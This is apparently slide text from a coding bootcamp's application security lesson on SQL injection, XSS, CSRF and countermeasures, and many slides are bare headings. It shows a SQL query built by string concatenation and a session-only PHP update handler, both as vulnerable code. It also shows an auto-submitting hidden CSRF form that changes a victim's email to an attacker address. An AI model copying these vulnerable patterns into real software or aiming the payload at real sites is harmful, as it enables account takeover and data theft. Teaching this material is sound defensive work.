Coding Bootcamp: Application Security

Application Security

Common Application Security Threats / Attacks

Resources

Code Injection Attacks


SQL Injection

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

XSS (Persistent)


XSS (Non-Persistent)


XSS (DOM-Based)


CSRF

<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>

CSRF (2)

// initiate the session in order to validate sessions

session_start();

//if the session is registered to a valid user then allow update

if (! session_is_registered("username")) {

echo "invalid session detected!";

// Redirect user to login page
[...]

exit;
}

// The user session is valid, so process the request
// and update the information

update_profile();

function update_profile {
// read in the data from $POST and send an update
// to the database
SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
[...]
echo "Your profile has been successfully updated.";
}

CSRF (3)

< script >

function SendAttack () {
    form.email = "attacker@example.com";
    // send to profile.php
    form.submit();
}

< /script >

<BODY onload="javascript:SendAttack();">

<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>

Secure Coding Practices

Secure Coding Practices (2)

Secure Coding Practices (3)

Countermeasures


Program Analysis

Dynamic Prevention

Criteria

Practice Your Skills

15 Vulnerable Sites To (Legally) Practice Your Hacking Skills


Creative Commons Licence
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.